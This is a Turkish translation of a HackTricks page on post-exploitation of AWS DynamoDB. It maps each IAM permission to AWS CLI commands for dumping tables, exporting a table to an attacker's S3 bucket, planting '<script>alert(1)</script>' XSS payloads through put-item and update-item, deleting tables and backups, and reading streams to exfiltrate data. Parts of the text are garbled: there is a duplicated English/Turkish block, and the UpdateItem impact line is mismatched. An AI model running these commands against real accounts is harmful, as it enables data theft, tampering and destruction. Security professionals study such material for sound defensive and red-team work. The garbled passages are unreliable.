AWS - DynamoDB Post Exploitation

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

DynamoDB

Daha fazla bilgi için kontrol edin:

dynamodb:BatchGetItem

Bu izinlere sahip bir saldırgan, birincil anahtar kullanarak tablolardan öğeleri alabilecektir (sadece tablonun tüm verilerini isteyemezsiniz). Bu, birincil anahtarları bilmeniz gerektiği anlamına gelir (tablo meta verilerini alarak bunu elde edebilirsiniz (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potansiyel Etki: Tabloda hassas bilgileri bulmak suretiyle dolaylı bir ayrıcalık yükseltme

dynamodb:GetItem

Önceki izinlere benzer şekilde, bu izin potansiyel bir saldırganın, alınacak girişin birincil anahtarını vererek sadece 1 tablodan değerleri okumasına olanak tanır:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Bu izinle birlikte transact-get-items yöntemini de kullanmak mümkündür:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potansiyel Etki: Hassas bilgilerin tabloda bulunarak dolaylı bir şekilde ayrıcalık yükseltilmesi

dynamodb:Query

Önceki izinlere benzer şekilde, bu izin potansiyel bir saldırganın, geri almak için girişin birincil anahtarını vererek yalnızca 1 tablodan değerleri okumasına olanak tanır. Karşılaştırmaların bir alt kümesine izin verir, ancak birincil anahtarla yapılan tek izin verilen karşılaştırma "EQ" olduğundan, bir istekte tüm veritabanını almak için bir karşılaştırma kullanamazsınız.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potansiyel Etki: Tabloda hassas bilgileri bulmak suretiyle dolaylı bir ayrıcalık yükseltme

dynamodb:Scan

Bu izni kullanarak tablonun tamamını kolayca dökümleyebilirsiniz.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Potansiyel Etki: Hassas bilgilerin tabloda bulunarak dolaylı bir şekilde ayrıcalık yükseltmesi yapılabilir.

dynamodb:PartiQLSelect

Bu izni kullanarak tüm tabloyu kolayca dökümleyebilirsiniz.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Bu izin ayrıca batch-execute-statement gibi işlemleri gerçekleştirmeye olanak sağlar:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

Ancak bir değerle birincil anahtarı belirtmeniz gerektiğinden dolayı, bu çok kullanışlı değildir.

Potansiyel Etki: Tabloda hassas bilgileri bulmak suretiyle dolaylı bir ayrıcalık yükseltme

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Bu izin, bir saldırganın tabloyu kendi seçtiği bir S3 kovasına tamamen dışa aktarmasına izin verecektir:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Bu işin çalışması için tablonun zaman içinde geri kazanım özelliğine sahip olması gerekmektedir, tablonun bunu kontrol etmek için kullanabilirsiniz:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Eğer etkinleştirilmemişse, onu etkinleştirmeniz gerekecek ve bunun için dynamodb:ExportTableToPointInTime iznine ihtiyacınız olacak:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potansiyel Etki: Hassas bilgileri tabloda bulunarak dolaylı bir şekilde ayrıcalık yükseltme

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Bu izinlerle, bir saldırgan bir yedekten yeni bir tablo oluşturabilir (veya hatta bir yedek oluşturup daha sonra farklı bir tabloda geri yükleyebilir). Ardından, gerekli izinlerle, üretim tablosunda artık bulunmayan yedeklerden bilgi kontrol edebilir.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potansiyel Etki: Tablo yedeklemesinde hassas bilgilerin bulunarak dolaylı bir ayrıcalık yükselmesi

dynamodb:PutItem

Bu izin, kullanıcıların tabloya yeni bir öğe eklemesine veya mevcut bir öğeyi yeni bir öğeyle değiştirmesine izin verir. Aynı birincil anahtara sahip bir öğe zaten varsa, tüm öğe yeni öğeyle değiştirilecektir. Birincil anahtar mevcut değilse, belirtilen birincil anahtara sahip yeni bir öğe oluşturulur.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potansiyel Etki: Bir DynamoDB tablosunda veri ekleyerek veya değiştirerek daha fazla zafiyet/bypassın sömürülmesi

dynamodb:UpdateItem

Bu izin, kullanıcıların bir öğenin mevcut özniteliklerini değiştirmesine veya bir öğeye yeni öznitelikler eklemesine olanak tanır. Tüm öğeyi değiştirmez, yalnızca belirtilen öznitelikleri günceller. Eğer birincil anahtar tabloda mevcut değilse, işlem belirtilen birincil anahtara sahip yeni bir öğe oluşturacak ve güncelleme ifadesinde belirtilen öznitelikleri ayarlayacaktır.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Potansiyel Etki: Bir saldırgan, bir DynamoDB tablosunu silebilir ve böylece veri kaybına neden olabilir.

dynamodb:DeleteTable

Bu izne sahip bir saldırgan, bir DynamoDB tablosunu silebilir ve böylece veri kaybına neden olabilir.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potansiyel etki: Silinen tabloya dayanan hizmetlerin veri kaybı ve kesintiye uğraması.

dynamodb:DeleteBackup

Bu izne sahip bir saldırgan, bir DynamoDB yedeklemesini silebilir ve böylece bir felaket kurtarma senaryosunda veri kaybına neden olabilir.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potansiyel etki: Veri kaybı ve felaket kurtarma senaryosunda yedekten geri dönme yeteneğinin kaybedilmesi.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Bu gerçekten çalışıyor mu diye test edin

Bu izinlere sahip bir saldırgan, bir DynamoDB tablosunda bir akışı etkinleştirebilir, tabloyu güncellemek için akışı başlatabilir ve ardından tablodaki değişiklikleri izlemek için akışa erişebilir. Bu, saldırganın veri değişikliklerini izlemesine ve potansiyel olarak veri sızıntısına yol açabilecek veri değişikliklerini dışarıya aktarmasına olanak tanır.

  1. Bir DynamoDB tablosunda bir akışı etkinleştirin:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN ve diğer ayrıntıları elde etmek için akışı açıklayın:

To obtain the ARN and other details of a stream, you can use the following steps:

1. List all the available streams in the DynamoDB service by using the `list-streams` command.

2. Identify the target stream from the list and note down its name.

3. Use the `describe-stream` command along with the stream name to get detailed information about the stream.

4. Look for the `StreamArn` field in the output, which represents the ARN (Amazon Resource Name) of the stream.

5. Note down any other relevant details provided in the output, such as the stream status, creation time, and encryption settings.

By following these steps, you can obtain the ARN and other important details of a stream in AWS DynamoDB.
Bir akışın ARN'sini ve diğer ayrıntılarını elde etmek için aşağıdaki adımları kullanabilirsiniz:

1. `list-streams` komutunu kullanarak DynamoDB hizmetindeki mevcut akışları listele.

2. Listeden hedef akışı belirleyin ve adını not alın.

3. Akışın ayrıntılı bilgilerini almak için akış adıyla birlikte `describe-stream` komutunu kullanın.

4. Çıktıda `StreamArn` alanını arayın, bu alan akışın ARN'sini (Amazon Kaynak Adı) temsil eder.

5. Çıktıda sağlanan diğer ilgili ayrıntıları, akış durumu, oluşturma zamanı ve şifreleme ayarları gibi not alın.

Bu adımları takip ederek, AWS DynamoDB'deki bir akışın ARN'sini ve diğer önemli ayrıntılarını elde edebilirsiniz.
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Akış ARN'sini kullanarak parçacık yineleyicisini alın:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Akıştan veriye erişmek ve veriyi dışarı çıkarmak için parçacık işaretçisini kullanın:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potansiyel etki: DynamoDB tablosunun değişikliklerinin gerçek zamanlı izlenmesi ve veri sızdırılması.

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated